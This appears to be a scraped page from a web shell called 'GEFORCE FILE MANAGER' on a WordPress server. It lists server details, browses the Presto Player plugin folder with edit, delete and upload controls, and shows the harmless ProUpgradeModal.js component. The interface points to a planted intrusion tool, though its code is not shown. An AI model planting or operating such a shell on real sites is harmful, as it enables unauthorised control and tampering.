[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
blocks
/
shared
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 MediaProviders
SET
[ DEL ]
📁 ProvidersPlaceholder
SET
[ DEL ]
📁 audioPresets
SET
[ DEL ]
📁 branding
SET
[ DEL ]
📁 chapters
SET
[ DEL ]
📁 components
SET
[ DEL ]
📁 media
SET
[ DEL ]
📁 overlays
SET
[ DEL ]
📁 presets
SET
[ DEL ]
📁 services
SET
[ DEL ]
📁 settings
SET
[ DEL ]
📁 styles
SET
[ DEL ]
📁 tracks
SET
[ DEL ]
📄 BlockInspectorControls.js
3,307 B
SET
[ EDIT ]
|
[ DEL ]
📄 Editing.js
544 B
SET
[ EDIT ]
|
[ DEL ]
📄 LinkPlaceholder.js
1,316 B
SET
[ EDIT ]
|
[ DEL ]
📄 Player.js
5,229 B
SET
[ EDIT ]
|
[ DEL ]
📄 Preview.js
4,252 B
SET
[ EDIT ]
|
[ DEL ]
📄 ProUpgradeModal.js
870 B
SET
[ EDIT ]
|
[ DEL ]
📄 VisibilityEditor.js
1,939 B
SET
[ EDIT ]
|
[ DEL ]
📄 audio-placeholder.js
6,173 B
SET
[ EDIT ]
|
[ DEL ]
📄 helpers.js
942 B
SET
[ EDIT ]
|
[ DEL ]
📄 options.js
1,578 B
SET
[ EDIT ]
|
[ DEL ]
📄 placeholder.js
6,353 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: ProUpgradeModal.js
const { Modal, Button } = wp.components; const { dispatch, useSelect } = wp.data; import { __ } from "@wordpress/i18n"; import ProBadge from "@/admin/blocks/shared/components/ProBadge"; export default function () { const closeModal = () => { dispatch("presto-player/player").setProModal(false); }; const open = useSelect((select) => { return select("presto-player/player").proModal(); }); return open ? ( <Modal title={__("Pro Feature", "presto-player")} onRequestClose={closeModal}> <h2> {__("Unlock Presto Player", "presto-player")} <ProBadge /> </h2> <p>{__("Get this feature and more with the Pro version of Presto Player!", "presto-player")}</p> <Button href="https://prestoplayer.com" target="_blank" isPrimary> {__("Learn More", "presto-player")} </Button> </Modal> ) : ( "" ); }